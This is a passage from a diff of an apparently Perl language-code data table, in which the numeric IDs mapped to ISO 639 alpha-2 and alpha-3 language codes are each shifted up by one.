          q(0),
          ],
       q(ssw) => [
-         q(0407),
+         q(0408),
          q(0),
          ],
       q(suk) => [
-         q(0408),
+         q(0409),
          q(0),
          ],
       q(sun) => [
-         q(0409),
+         q(0410),
          q(0),
          ],
       q(sus) => [
-         q(0410),
+         q(0411),
          q(0),
          ],
       q(sux) => [
-         q(0411),
+         q(0412),
          q(0),
          ],
       q(swa) => [
-         q(0412),
+         q(0413),
          q(0),
          ],
       q(swe) => [
-         q(0413),
+         q(0414),
          q(0),
          ],
       q(syc) => [
-         q(0414),
+         q(0415),
          q(0),
          ],
       q(syr) => [
-         q(0415),
+         q(0416),
          q(0),
          ],
       q(tah) => [
-         q(0416),
+         q(0417),
          q(0),
          ],
       q(tai) => [
-         q(0417),
+         q(0418),
          q(0),
          ],
       q(tam) => [
-         q(0418),
+         q(0419),
          q(0),
          ],
       q(tat) => [
-         q(0419),
+         q(0420),
          q(0),
          ],
       q(tel) => [
-         q(0420),
+         q(0421),
          q(0),
          ],
       q(tem) => [
-         q(0421),
+         q(0422),
          q(0),
          ],
       q(ter) => [
-         q(0422),
+         q(0423),
          q(0),
          ],
       q(tet) => [
-         q(0423),
+         q(0424),
          q(0),
          ],
       q(tgk) => [
-         q(0424),
+         q(0425),
          q(0),
          ],
       q(tgl) => [
-         q(0425),
+         q(0426),
          q(0),
          ],
       q(tha) => [
-         q(0426),
+         q(0427),
          q(0),
          ],
       q(tig) => [
-         q(0428),
+         q(0429),
          q(0),
          ],
       q(tir) => [
-         q(0429),
+         q(0430),
          q(0),
          ],
       q(tiv) => [
-         q(0430),
+         q(0431),
          q(0),
          ],
       q(tkl) => [
-         q(0431),
+         q(0432),
          q(0),
          ],
       q(tlh) => [
-         q(0432),
+         q(0433),
          q(0),
          ],
       q(tli) => [
-         q(0433),
+         q(0434),
          q(0),
          ],
       q(tmh) => [
-         q(0434),
+         q(0435),
          q(0),
          ],
       q(tog) => [
-         q(0435),
+         q(0436),
          q(0),
          ],
       q(ton) => [
-         q(0436),
+         q(0437),
          q(0),
          ],
       q(tpi) => [
-         q(0437),
+         q(0438),
          q(0),
          ],
       q(tsi) => [
-         q(0438),
+         q(0439),
          q(0),
          ],
       q(tsn) => [
-         q(0439),
+         q(0440),
          q(0),
          ],
       q(tso) => [
-         q(0440),
+         q(0441),
          q(0),
          ],
       q(tuk) => [
-         q(0441),
+         q(0442),
          q(0),
          ],
       q(tum) => [
-         q(0442),
+         q(0443),
          q(0),
          ],
       q(tup) => [
-         q(0443),
+         q(0444),
          q(0),
          ],
       q(tur) => [
-         q(0444),
+         q(0445),
          q(0),
          ],
       q(tut) => [
-         q(0445),
+         q(0446),
          q(0),
          ],
       q(tvl) => [
-         q(0446),
+         q(0447),
          q(0),
          ],
       q(twi) => [
-         q(0447),
+         q(0448),
          q(0),
          ],
       q(tyv) => [
-         q(0448),
+         q(0449),
          q(0),
          ],
       q(udm) => [
-         q(0449),
+         q(0450),
          q(0),
          ],
       q(uga) => [
-         q(0450),
+         q(0451),
          q(0),
          ],
       q(uig) => [
-         q(0451),
+         q(0452),
          q(0),
          ],
       q(ukr) => [
-         q(0452),
+         q(0453),
          q(0),
          ],
       q(umb) => [
-         q(0453),
+         q(0454),
          q(0),
          ],
       q(und) => [
-         q(0454),
+         q(0455),
          q(0),
          ],
       q(urd) => [
-         q(0455),
+         q(0456),
          q(0),
          ],
       q(uzb) => [
-         q(0456),
+         q(0457),
          q(0),
          ],
       q(vai) => [
-         q(0457),
+         q(0458),
          q(0),
          ],
       q(ven) => [
-         q(0458),
+         q(0459),
          q(0),
          ],
       q(vie) => [
-         q(0459),
+         q(0460),
          q(0),
          ],
       q(vol) => [
-         q(0460),
+         q(0461),
          q(0),
          ],
       q(vot) => [
-         q(0461),
+         q(0462),
          q(0),
          ],
       q(wak) => [
-         q(0462),
+         q(0463),
          q(0),
          ],
       q(wal) => [
-         q(0463),
+         q(0464),
          q(0),
          ],
       q(war) => [
-         q(0464),
+         q(0465),
          q(0),
          ],
       q(was) => [
-         q(0465),
+         q(0466),
          q(0),
          ],
       q(wen) => [
-         q(0467),
+         q(0468),
          q(0),
          ],
       q(wln) => [
-         q(0468),
+         q(0469),
          q(0),
          ],
       q(wol) => [
-         q(0469),
+         q(0470),
          q(0),
          ],
       q(xal) => [
-         q(0470),
+         q(0471),
          q(0),
          ],
       q(xho) => [
-         q(0471),
+         q(0472),
          q(0),
          ],
       q(yao) => [
-         q(0472),
+         q(0473),
          q(0),
          ],
       q(yap) => [
-         q(0473),
+         q(0474),
          q(0),
          ],
       q(yid) => [
-         q(0474),
+         q(0475),
          q(0),
          ],
       q(yor) => [
-         q(0475),
+         q(0476),
          q(0),
          ],
       q(ypk) => [
-         q(0476),
+         q(0477),
          q(0),
          ],
       q(zap) => [
-         q(0477),
+         q(0478),
          q(0),
          ],
       q(zbl) => [
-         q(0478),
+         q(0479),
          q(0),
          ],
       q(zen) => [
-         q(0479),
+         q(0480),
          q(0),
          ],
       q(zgh) => [
-         q(0480),
+         q(0481),
          q(0),
          ],
       q(zha) => [
-         q(0481),
+         q(0482),
          q(0),
          ],
       q(zho) => [
@@ -92013,23 +92095,23 @@
          q(0),
          ],
       q(znd) => [
-         q(0482),
+         q(0483),
          q(0),
          ],
       q(zul) => [
-         q(0483),
+         q(0484),
          q(0),
          ],
       q(zun) => [
-         q(0484),
+         q(0485),
          q(0),
          ],
       q(zxx) => [
-         q(0485),
+         q(0486),
          q(0),
          ],
       q(zza) => [
-         q(0486),
+         q(0487),
          q(0),
          ],
       },
@@ -92068,160 +92150,160 @@
       q(0079) => q(zh),
       q(0086) => q(cu),
       q(0087) => q(cv),
-      q(0091) => q(kw),
-      q(0092) => q(co),
-      q(0096) => q(cr),
-      q(0101) => q(cs),
-      q(0103) => q(da),
-      q(0110) => q(dv),
-      q(0116) => q(nl),
-      q(0118) => q(dz),
-      q(0123) => q(en),
-      q(0125) => q(eo),
-      q(0126) => q(et),
-      q(0127) => q(ee),
-      q(0130) => q(fo),
-      q(0132) => q(fj),
-      q(0134) => q(fi),
-      q(0137) => q(fr),
-      q(0142) => q(fy),
-      q(0143) => q(ff),
-      q(0149) => q(ka),
-      q(0150) => q(de),
-      q(0153) => q(gd),
-      q(0154) => q(ga),
-      q(0155) => q(gl),
-      q(0156) => q(gv),
-      q(0164) => q(el),
-      q(0165) => q(gn),
-      q(0167) => q(gu),
-      q(0170) => q(ht),
-      q(0171) => q(ha),
-      q(0173) => q(he),
-      q(0174) => q(hz),
-      q(0177) => q(hi),
-      q(0180) => q(ho),
-      q(0181) => q(hr),
-      q(0183) => q(hu),
-      q(0186) => q(ig),
-      q(0187) => q(is),
-      q(0188) => q(io),
-      q(0189) => q(ii),
-      q(0191) => q(iu),
-      q(0192) => q(ie),
-      q(0194) => q(ia),
-      q(0196) => q(id),
-      q(0199) => q(ik),
-      q(0202) => q(it),
-      q(0203) => q(jv),
-      q(0205) => q(ja),
-      q(0211) => q(kl),
-      q(0213) => q(kn),
-      q(0215) => q(ks),
-      q(0216) => q(kr),
-      q(0218) => q(kk),
-      q(0222) => q(km),
-      q(0224) => q(ki),
-      q(0225) => q(rw),
-      q(0226) => q(ky),
-      q(0229) => q(kv),
-      q(0230) => q(kg),
-      q(0231) => q(ko),
-      q(0238) => q(kj),
-      q(0240) => q(ku),
-      q(0245) => q(lo),
-      q(0246) => q(la),
-      q(0247) => q(lv),
-      q(0249) => q(li),
-      q(0250) => q(ln),
-      q(0251) => q(lt),
-      q(0254) => q(lb),
-      q(0256) => q(lu),
-      q(0257) => q(lg),
-      q(0262) => q(mk),
-      q(0265) => q(mh),
-      q(0268) => q(ml),
-      q(0270) => q(mi),
-      q(0272) => q(mr),
-      q(0274) => q(ms),
-      q(0283) => q(mg),
-      q(0284) => q(mt),
-      q(0289) => q(mn),
-      q(0301) => q(na),
-      q(0302) => q(nv),
-      q(0303) => q(nr),
-      q(0304) => q(nd),
-      q(0305) => q(ng),
-      q(0307) => q(ne),
-      q(0312) => q(nn),
-      q(0313) => q(nb),
-      q(0316) => q(no),
-      q(0321) => q(ny),
-      q(0326) => q(oc),
-      q(0327) => q(oj),
-      q(0328) => q(or),
-      q(0329) => q(om),
-      q(0331) => q(os),
-      q(0338) => q(pa),
-      q(0342) => q(fa),
-      q(0345) => q(pi),
-      q(0346) => q(pl),
-      q(0348) => q(pt),
-      q(0351) => q(ps),
-      q(0353) => q(qu),
-      q(0358) => q(rm),
-      q(0360) => q(ro),
-      q(0361) => q(rn),
-      q(0363) => q(ru),
-      q(0365) => q(sg),
-      q(0370) => q(sa),
-      q(0381) => q(si),
-      q(0385) => q(sk),
-      q(0386) => q(sl),
-      q(0388) => q(se),
-      q(0392) => q(sm),
-      q(0394) => q(sn),
-      q(0395) => q(sd),
-      q(0398) => q(so),
-      q(0400) => q(st),
-      q(0401) => q(es),
-      q(0402) => q(sc),
-      q(0404) => q(sr),
-      q(0407) => q(ss),
-      q(0409) => q(su),
-      q(0412) => q(sw),
-      q(0413) => q(sv),
-      q(0416) => q(ty),
-      q(0418) => q(ta),
-      q(0419) => q(tt),
-      q(0420) => q(te),
-      q(0424) => q(tg),
-      q(0425) => q(tl),
-      q(0426) => q(th),
-      q(0427) => q(bo),
-      q(0429) => q(ti),
-      q(0436) => q(to),
-      q(0439) => q(tn),
-      q(0440) => q(ts),
-      q(0441) => q(tk),
-      q(0444) => q(tr),
-      q(0447) => q(tw),
-      q(0451) => q(ug),
-      q(0452) => q(uk),
-      q(0455) => q(ur),
-      q(0456) => q(uz),
-      q(0458) => q(ve),
-      q(0459) => q(vi),
-      q(0460) => q(vo),
-      q(0466) => q(cy),
-      q(0468) => q(wa),
-      q(0469) => q(wo),
-      q(0471) => q(xh),
-      q(0474) => q(yi),
-      q(0475) => q(yo),
-      q(0481) => q(za),
-      q(0483) => q(zu),
-      q(0537) => q(sh),
+      q(0092) => q(kw),
+      q(0093) => q(co),
+      q(0097) => q(cr),
+      q(0102) => q(cs),
+      q(0104) => q(da),
+      q(0111) => q(dv),
+      q(0117) => q(nl),
+      q(0119) => q(dz),
+      q(0124) => q(en),
+      q(0126) => q(eo),
+      q(0127) => q(et),
+      q(0128) => q(ee),
+      q(0131) => q(fo),
+      q(0133) => q(fj),
+      q(0135) => q(fi),
+      q(0138) => q(fr),
+      q(0143) => q(fy),
+      q(0144) => q(ff),
+      q(0150) => q(ka),
+      q(0151) => q(de),
+      q(0154) => q(gd),
+      q(0155) => q(ga),
+      q(0156) => q(gl),
+      q(0157) => q(gv),
+      q(0165) => q(el),
+      q(0166) => q(gn),
+      q(0168) => q(gu),
+      q(0171) => q(ht),
+      q(0172) => q(ha),
+      q(0174) => q(he),
+      q(0175) => q(hz),
+      q(0178) => q(hi),
+      q(0181) => q(ho),
+      q(0182) => q(hr),
+      q(0184) => q(hu),
+      q(0187) => q(ig),
+      q(0188) => q(is),
+      q(0189) => q(io),
+      q(0190) => q(ii),
+      q(0192) => q(iu),
+      q(0193) => q(ie),
+      q(0195) => q(ia),
+      q(0197) => q(id),
+      q(0200) => q(ik),
+      q(0203) => q(it),
+      q(0204) => q(jv),
+      q(0206) => q(ja),
+      q(0212) => q(kl),
+      q(0214) => q(kn),
+      q(0216) => q(ks),
+      q(0217) => q(kr),
+      q(0219) => q(kk),
+      q(0223) => q(km),
+      q(0225) => q(ki),
+      q(0226) => q(rw),
+      q(0227) => q(ky),
+      q(0230) => q(kv),
+      q(0231) => q(kg),
+      q(0232) => q(ko),
+      q(0239) => q(kj),
+      q(0241) => q(ku),
+      q(0246) => q(lo),
+      q(0247) => q(la),
+      q(0248) => q(lv),
+      q(0250) => q(li),
+      q(0251) => q(ln),
+      q(0252) => q(lt),
+      q(0255) => q(lb),
+      q(0257) => q(lu),
+      q(0258) => q(lg),
+      q(0263) => q(mk),
+      q(0266) => q(mh),
+      q(0269) => q(ml),
+      q(0271) => q(mi),
+      q(0273) => q(mr),
+      q(0275) => q(ms),
+      q(0284) => q(mg),
+      q(0285) => q(mt),
+      q(0290) => q(mn),
+      q(0302) => q(na),
+      q(0303) => q(nv),
+      q(0304) => q(nr),
+      q(0305) => q(nd),
+      q(0306) => q(ng),
+      q(0308) => q(ne),
+      q(0313) => q(nn),
+      q(0314) => q(nb),
+      q(0317) => q(no),
+      q(0322) => q(ny),
+      q(0327) => q(oc),
+      q(0328) => q(oj),
+      q(0329) => q(or),
+      q(0330) => q(om),
+      q(0332) => q(os),
+      q(0339) => q(pa),
+      q(0343) => q(fa),
+      q(0346) => q(pi),
+      q(0347) => q(pl),
+      q(0349) => q(pt),
+      q(0352) => q(ps),
+      q(0354) => q(qu),
+      q(0359) => q(rm),
+      q(0361) => q(ro),
+      q(0362) => q(rn),
+      q(0364) => q(ru),
+      q(0366) => q(sg),
+      q(0371) => q(sa),
+      q(0382) => q(si),
+      q(0386) => q(sk),
+      q(0387) => q(sl),
+      q(0389) => q(se),
+      q(0393) => q(sm),
+      q(0395) => q(sn),
+      q(0396) => q(sd),
+      q(0399) => q(so),
+      q(0401) => q(st),
+      q(0402) => q(es),
+      q(0403) => q(sc),
+      q(0405) => q(sr),
+      q(0408) => q(ss),
+      q(0410) => q(su),
+      q(0413) => q(sw),
+      q(0414) => q(sv),
+      q(0417) => q(ty),
+      q(0419) => q(ta),
+      q(0420) => q(tt),
+      q(0421) => q(te),
+      q(0425) => q(tg),
+      q(0426) => q(tl),
+      q(0427) => q(th),
+      q(0428) => q(bo),
+      q(0430) => q(ti),
+      q(0437) => q(to),
+      q(0440) => q(tn),
+      q(0441) => q(ts),
+      q(0442) => q(tk),
+      q(0445) => q(tr),
+      q(0448) => q(tw),
+      q(0452) => q(ug),
+      q(0453) => q(uk),
+      q(0456) => q(ur),
+      q(0457) => q(uz),
+      q(0459) => q(ve),
+      q(0460) => q(vi),
+      q(0461) => q(vo),
+      q(0467) => q(cy),
+      q(0469) => q(wa),
+      q(0470) => q(wo),
+      q(0472) => q(xh),
+      q(0475) => q(yi),
+      q(0476) => q(yo),
+      q(0482) => q(za),
+      q(0484) => q(zu),
+      q(0538) => q(sh),
       },
    q(alpha-3) => {
       q(0001) => q(aar),
@@ -92313,3494 +92395,3494 @@
       q(0087) => q(chv),
       q(0088) => q(chy),
       q(0089) => q(cmc),
-      q(0090) => q(cop),
-      q(0091) => q(cor),
-      q(0092) => q(cos),
-      q(0093) => q(cpe),
-      q(0094) => q(cpf),
-      q(0095) => q(cpp),
-      q(0096) => q(cre),
-      q(0097) => q(crh),
-      q(0098) => q(crp),
-      q(0099) => q(csb),
-      q(0100) => q(cus),
-      q(0101) => q(cze),
-      q(0102) => q(dak),
-      q(0103) => q(dan),
-      q(0104) => q(dar),
-      q(0105) => q(day),
-      q(0106) => q(del),
-      q(0107) => q(den),
-      q(0108) => q(dgr),
-      q(0109) => q(din),
-      q(0110) => q(div),
-      q(0111) => q(doi),
-      q(0112) => q(dra),
-      q(0113) => q(dsb),
-      q(0114) => q(dua),
-      q(0115) => q(dum),
-      q(0116) => q(dut),
-      q(0117) => q(dyu),
-      q(0118) => q(dzo),
-      q(0119) => q(efi),
-      q(0120) => q(egy),
-      q(0121) => q(eka),
-      q(0122) => q(elx),
-      q(0123) => q(eng),
-      q(0124) => q(enm),
-      q(0125) => q(epo),
-      q(0126) => q(est),
-      q(0127) => q(ewe),
-      q(0128) => q(ewo),
-      q(0129) => q(fan),
-      q(0130) => q(fao),
-      q(0131) => q(fat),
-      q(0132) => q(fij),
-      q(0133) => q(fil),
-      q(0134) => q(fin),
-      q(0135) => q(fiu),
-      q(0136) => q(fon),
-      q(0137) => q(fre),
-      q(0138) => q(frm),
-      q(0139) => q(fro),
-      q(0140) => q(frr),
-      q(0141) => q(frs),
-      q(0142) => q(fry),
-      q(0143) => q(ful),
-      q(0144) => q(fur),
-      q(0145) => q(gaa),
-      q(0146) => q(gay),
-      q(0147) => q(gba),
-      q(0148) => q(gem),
-      q(0149) => q(geo),
-      q(0150) => q(ger),
-      q(0151) => q(gez),
-      q(0152) => q(gil),
-      q(0153) => q(gla),
-      q(0154) => q(gle),
-      q(0155) => q(glg),
-      q(0156) => q(glv),
-      q(0157) => q(gmh),
-      q(0158) => q(goh),
-      q(0159) => q(gon),
-      q(0160) => q(gor),
-      q(0161) => q(got),
-      q(0162) => q(grb),
-      q(0163) => q(grc),
-      q(0164) => q(gre),
-      q(0165) => q(grn),
-      q(0166) => q(gsw),
-      q(0167) => q(guj),
-      q(0168) => q(gwi),
-      q(0169) => q(hai),
-      q(0170) => q(hat),
-      q(0171) => q(hau),
-      q(0172) => q(haw),
-      q(0173) => q(heb),
-      q(0174) => q(her),
-      q(0175) => q(hil),
-      q(0176) => q(him),
-      q(0177) => q(hin),
-      q(0178) => q(hit),
-      q(0179) => q(hmn),
-      q(0180) => q(hmo),
-      q(0181) => q(hrv),
-      q(0182) => q(hsb),
-      q(0183) => q(hun),
-      q(0184) => q(hup),
-      q(0185) => q(iba),
-      q(0186) => q(ibo),
-      q(0187) => q(ice),
-      q(0188) => q(ido),
-      q(0189) => q(iii),
-      q(0190) => q(ijo),
-      q(0191) => q(iku),
-      q(0192) => q(ile),
-      q(0193) => q(ilo),
-      q(0194) => q(ina),
-      q(0195) => q(inc),
-      q(0196) => q(ind),
-      q(0197) => q(ine),
-      q(0198) => q(inh),
-      q(0199) => q(ipk),
-      q(0200) => q(ira),
-      q(0201) => q(iro),
-      q(0202) => q(ita),
-      q(0203) => q(jav),
-      q(0204) => q(jbo),
-      q(0205) => q(jpn),
-      q(0206) => q(jpr),
-      q(0207) => q(jrb),
-      q(0208) => q(kaa),
-      q(0209) => q(kab),
-      q(0210) => q(kac),
-      q(0211) => q(kal),
-      q(0212) => q(kam),
-      q(0213) => q(kan),
-      q(0214) => q(kar),
-      q(0215) => q(kas),
-      q(0216) => q(kau),
-      q(0217) => q(kaw),
-      q(0218) => q(kaz),
-      q(0219) => q(kbd),
-      q(0220) => q(kha),
-      q(0221) => q(khi),
-      q(0222) => q(khm),
-      q(0223) => q(kho),
-      q(0224) => q(kik),
-      q(0225) => q(kin),
-      q(0226) => q(kir),
-      q(0227) => q(kmb),
-      q(0228) => q(kok),
-      q(0229) => q(kom),
-      q(0230) => q(kon),
-      q(0231) => q(kor),
-      q(0232) => q(kos),
-      q(0233) => q(kpe),
-      q(0234) => q(krc),
-      q(0235) => q(krl),
-      q(0236) => q(kro),
-      q(0237) => q(kru),
-      q(0238) => q(kua),
-      q(0239) => q(kum),
-      q(0240) => q(kur),
-      q(0241) => q(kut),
-      q(0242) => q(lad),
-      q(0243) => q(lah),
-      q(0244) => q(lam),
-      q(0245) => q(lao),
-      q(0246) => q(lat),
-      q(0247) => q(lav),
-      q(0248) => q(lez),
-      q(0249) => q(lim),
-      q(0250) => q(lin),
-      q(0251) => q(lit),
-      q(0252) => q(lol),
-      q(0253) => q(loz),
-      q(0254) => q(ltz),
-      q(0255) => q(lua),
-      q(0256) => q(lub),
-      q(0257) => q(lug),
-      q(0258) => q(lui),
-      q(0259) => q(lun),
-      q(0260) => q(luo),
-      q(0261) => q(lus),
-      q(0262) => q(mac),
-      q(0263) => q(mad),
-      q(0264) => q(mag),
-      q(0265) => q(mah),
-      q(0266) => q(mai),
-      q(0267) => q(mak),
-      q(0268) => q(mal),
-      q(0269) => q(man),
-      q(0270) => q(mao),
-      q(0271) => q(map),
-      q(0272) => q(mar),
-      q(0273) => q(mas),
-      q(0274) => q(may),
-      q(0275) => q(mdf),
-      q(0276) => q(mdr),
-      q(0277) => q(men),
-      q(0278) => q(mga),
-      q(0279) => q(mic),
-      q(0280) => q(min),
-      q(0281) => q(mis),
-      q(0282) => q(mkh),
-      q(0283) => q(mlg),
-      q(0284) => q(mlt),
-      q(0285) => q(mnc),
-      q(0286) => q(mni),
-      q(0287) => q(mno),
-      q(0288) => q(moh),
-      q(0289) => q(mon),
-      q(0290) => q(mos),
-      q(0291) => q(mul),
-      q(0292) => q(mun),
-      q(0293) => q(mus),
-      q(0294) => q(mwl),
-      q(0295) => q(mwr),
-      q(0296) => q(myn),
-      q(0297) => q(myv),
-      q(0298) => q(nah),
-      q(0299) => q(nai),
-      q(0300) => q(nap),
-      q(0301) => q(nau),
-      q(0302) => q(nav),
-      q(0303) => q(nbl),
-      q(0304) => q(nde),
-      q(0305) => q(ndo),
-      q(0306) => q(nds),
-      q(0307) => q(nep),
-      q(0308) => q(new),
-      q(0309) => q(nia),
-      q(0310) => q(nic),
-      q(0311) => q(niu),
-      q(0312) => q(nno),
-      q(0313) => q(nob),
-      q(0314) => q(nog),
-      q(0315) => q(non),
-      q(0316) => q(nor),
-      q(0317) => q(nqo),
-      q(0318) => q(nso),
-      q(0319) => q(nub),
-      q(0320) => q(nwc),
-      q(0321) => q(nya),
-      q(0322) => q(nym),
-      q(0323) => q(nyn),
-      q(0324) => q(nyo),
-      q(0325) => q(nzi),
-      q(0326) => q(oci),
-      q(0327) => q(oji),
-      q(0328) => q(ori),
-      q(0329) => q(orm),
-      q(0330) => q(osa),
-      q(0331) => q(oss),
-      q(0332) => q(ota),
-      q(0333) => q(oto),
-      q(0334) => q(paa),
-      q(0335) => q(pag),
-      q(0336) => q(pal),
-      q(0337) => q(pam),
-      q(0338) => q(pan),
-      q(0339) => q(pap),
-      q(0340) => q(pau),
-      q(0341) => q(peo),
-      q(0342) => q(per),
-      q(0343) => q(phi),
-      q(0344) => q(phn),
-      q(0345) => q(pli),
-      q(0346) => q(pol),
-      q(0347) => q(pon),
-      q(0348) => q(por),
-      q(0349) => q(pra),
-      q(0350) => q(pro),
-      q(0351) => q(pus),
-      q(0352) => q(qtz),
-      q(0353) => q(que),
-      q(0354) => q(raj),
-      q(0355) => q(rap),
-      q(0356) => q(rar),
-      q(0357) => q(roa),
-      q(0358) => q(roh),
-      q(0359) => q(rom),
-      q(0360) => q(rum),
-      q(0361) => q(run),
-      q(0362) => q(rup),
-      q(0363) => q(rus),
-      q(0364) => q(sad),
-      q(0365) => q(sag),
-      q(0366) => q(sah),
-      q(0367) => q(sai),
-      q(0368) => q(sal),
-      q(0369) => q(sam),
-      q(0370) => q(san),
-      q(0371) => q(sas),
-      q(0372) => q(sat),
-      q(0373) => q(scn),
-      q(0374) => q(sco),
-      q(0375) => q(sel),
-      q(0376) => q(sem),
-      q(0377) => q(sga),
-      q(0378) => q(sgn),
-      q(0379) => q(shn),
-      q(0380) => q(sid),
-      q(0381) => q(sin),
-      q(0382) => q(sio),
-      q(0383) => q(sit),
-      q(0384) => q(sla),
-      q(0385) => q(slo),
-      q(0386) => q(slv),
-      q(0387) => q(sma),
-      q(0388) => q(sme),
-      q(0389) => q(smi),
-      q(0390) => q(smj),
-      q(0391) => q(smn),
-      q(0392) => q(smo),
-      q(0393) => q(sms),
-      q(0394) => q(sna),
-      q(0395) => q(snd),
-      q(0396) => q(snk),
-      q(0397) => q(sog),
-      q(0398) => q(som),
-      q(0399) => q(son),
-      q(0400) => q(sot),
-      q(0401) => q(spa),
-      q(0402) => q(srd),
-      q(0403) => q(srn),
-      q(0404) => q(srp),
-      q(0405) => q(srr),
-      q(0406) => q(ssa),
-      q(0407) => q(ssw),
-      q(0408) => q(suk),
-      q(0409) => q(sun),
-      q(0410) => q(sus),
-      q(0411) => q(sux),
-      q(0412) => q(swa),
-      q(0413) => q(swe),
-      q(0414) => q(syc),
-      q(0415) => q(syr),
-      q(0416) => q(tah),
-      q(0417) => q(tai),
-      q(0418) => q(tam),
-      q(0419) => q(tat),
-      q(0420) => q(tel),
-      q(0421) => q(tem),
-      q(0422) => q(ter),
-      q(0423) => q(tet),
-      q(0424) => q(tgk),
-      q(0425) => q(tgl),
-      q(0426) => q(tha),
-      q(0427) => q(tib),
-      q(0428) => q(tig),
-      q(0429) => q(tir),
-      q(0430) => q(tiv),
-      q(0431) => q(tkl),
-      q(0432) => q(tlh),
-      q(0433) => q(tli),
-      q(0434) => q(tmh),
-      q(0435) => q(tog),
-      q(0436) => q(ton),
-      q(0437) => q(tpi),
-      q(0438) => q(tsi),
-      q(0439) => q(tsn),
-      q(0440) => q(tso),
-      q(0441) => q(tuk),
-      q(0442) => q(tum),
-      q(0443) => q(tup),
-      q(0444) => q(tur),
-      q(0445) => q(tut),
-      q(0446) => q(tvl),
-      q(0447) => q(twi),
-      q(0448) => q(tyv),
-      q(0449) => q(udm),
-      q(0450) => q(uga),
-      q(0451) => q(uig),
-      q(0452) => q(ukr),
-      q(0453) => q(umb),
-      q(0454) => q(und),
-      q(0455) => q(urd),
-      q(0456) => q(uzb),
-      q(0457) => q(vai),
-      q(0458) => q(ven),
-      q(0459) => q(vie),
-      q(0460) => q(vol),
-      q(0461) => q(vot),
-      q(0462) => q(wak),
-      q(0463) => q(wal),
-      q(0464) => q(war),
-      q(0465) => q(was),
-      q(0466) => q(wel),
-      q(0467) => q(wen),
-      q(0468) => q(wln),
-      q(0469) => q(wol),
-      q(0470) => q(xal),
-      q(0471) => q(xho),
-      q(0472) => q(yao),
-      q(0473) => q(yap),
-      q(0474) => q(yid),
-      q(0475) => q(yor),
-      q(0476) => q(ypk),
-      q(0477) => q(zap),
-      q(0478) => q(zbl),
-      q(0479) => q(zen),
-      q(0480) => q(zgh),
-      q(0481) => q(zha),
-      q(0482) => q(znd),
-      q(0483) => q(zul),
-      q(0484) => q(zun),
-      q(0485) => q(zxx),
-      q(0486) => q(zza),
-      q(0487) => q(aav),
-      q(0488) => q(alv),
-      q(0489) => q(aqa),
-      q(0490) => q(aql),
-      q(0491) => q(auf),
-      q(0492) => q(awd),
-      q(0493) => q(azc),
-      q(0494) => q(cba),
-      q(0495) => q(ccn),
-      q(0496) => q(ccs),
-      q(0497) => q(cdc),
-      q(0498) => q(cdd),
-      q(0499) => q(csu),
-      q(0500) => q(dmn),
-      q(0501) => q(egx),
-      q(0502) => q(esx),
-      q(0503) => q(euq),
-      q(0504) => q(fox),
-      q(0505) => q(gme),
-      q(0506) => q(gmq),
-      q(0507) => q(gmw),
-      q(0508) => q(grk),
-      q(0509) => q(hmx),
-      q(0510) => q(hok),
-      q(0511) => q(hyx),
-      q(0512) => q(iir),
-      q(0513) => q(itc),
-      q(0514) => q(jpx),
-      q(0515) => q(kdo),
-      q(0516) => q(ngf),
-      q(0517) => q(omq),
-      q(0518) => q(omv),
-      q(0519) => q(plf),
-      q(0520) => q(poz),
-      q(0521) => q(pqe),
-      q(0522) => q(pqw),
-      q(0523) => q(qwe),
-      q(0524) => q(sdv),
-      q(0525) => q(sqj),
-      q(0526) => q(syd),
-      q(0527) => q(tbq),
-      q(0528) => q(trk),
-      q(0529) => q(tuw),
-      q(0530) => q(urj),
-      q(0531) => q(xgn),
-      q(0532) => q(xnd),
-      q(0533) => q(zhx),
-      q(0534) => q(zle),
-      q(0535) => q(zls),
-      q(0536) => q(zlw),
-      q(0538) => q(aaa),
-      q(0539) => q(aab),
-      q(0540) => q(aac),
-      q(0541) => q(aad),
-      q(0542) => q(aae),
-      q(0543) => q(aaf),
-      q(0544) => q(aag),
-      q(0545) => q(aah),
-      q(0546) => q(aai),
-      q(0547) => q(aak),
-      q(0548) => q(aal),
-      q(0549) => q(aan),
-      q(0550) => q(aao),
-      q(0551) => q(aap),
-      q(0552) => q(aaq),
-      q(0553) => q(aas),
-      q(0554) => q(aat),
-      q(0555) => q(aau),
-      q(0556) => q(aaw),
-      q(0557) => q(aax),
-      q(0558) => q(aaz),
-      q(0559) => q(aba),
-      q(0560) => q(abb),
-      q(0561) => q(abc),
-      q(0562) => q(abd),
-      q(0563) => q(abe),
-      q(0564) => q(abf),
-      q(0565) => q(abg),
-      q(0566) => q(abh),
-      q(0567) => q(abi),
-      q(0568) => q(abj),
-      q(0569) => q(abl),
-      q(0570) => q(abm),
-      q(0571) => q(abn),
-      q(0572) => q(abo),
-      q(0573) => q(abp),
-      q(0574) => q(abq),
-      q(0575) => q(abr),
-      q(0576) => q(abs),
-      q(0577) => q(abt),
-      q(0578) => q(abu),
-      q(0579) => q(abv),
-      q(0580) => q(abw),
-      q(0581) => q(abx),
-      q(0582) => q(aby),
-      q(0583) => q(abz),
-      q(0584) => q(aca),
-      q(0585) => q(acb),
-      q(0586) => q(acd),
-      q(0587) => q(acf),
-      q(0588) => q(aci),
-      q(0589) => q(ack),
-      q(0590) => q(acl),
-      q(0591) => q(acm),
-      q(0592) => q(acn),
-      q(0593) => q(acp),
-      q(0594) => q(acq),
-      q(0595) => q(acr),
-      q(0596) => q(acs),
-      q(0597) => q(act),
-      q(0598) => q(acu),
-      q(0599) => q(acv),
-      q(0600) => q(acw),
-      q(0601) => q(acx),
-      q(0602) => q(acy),
-      q(0603) => q(acz),
-      q(0604) => q(adb),
-      q(0605) => q(add),
-      q(0606) => q(ade),
-      q(0607) => q(adf),
-      q(0608) => q(adg),
-      q(0609) => q(adh),
-      q(0610) => q(adi),
-      q(0611) => q(adj),
-      q(0612) => q(adl),
-      q(0613) => q(adn),
-      q(0614) => q(ado),
-      q(0615) => q(adq),
-      q(0616) => q(adr),
-      q(0617) => q(ads),
-      q(0618) => q(adt),
-      q(0619) => q(adu),
-      q(0620) => q(adw),
-      q(0621) => q(adx),
-      q(0622) => q(adz),
-      q(0623) => q(aea),
-      q(0624) => q(aeb),
-      q(0625) => q(aec),
-      q(0626) => q(aed),
-      q(0627) => q(aee),
-      q(0628) => q(aek),
-      q(0629) => q(ael),
-      q(0630) => q(aem),
-      q(0631) => q(aen),
-      q(0632) => q(aeq),
-      q(0633) => q(aer),
-      q(0634) => q(aes),
-      q(0635) => q(aeu),
-      q(0636) => q(aew),
-      q(0637) => q(aey),
-      q(0638) => q(aez),
-      q(0639) => q(afb),
-      q(0640) => q(afd),
-      q(0641) => q(afe),
-      q(0642) => q(afg),
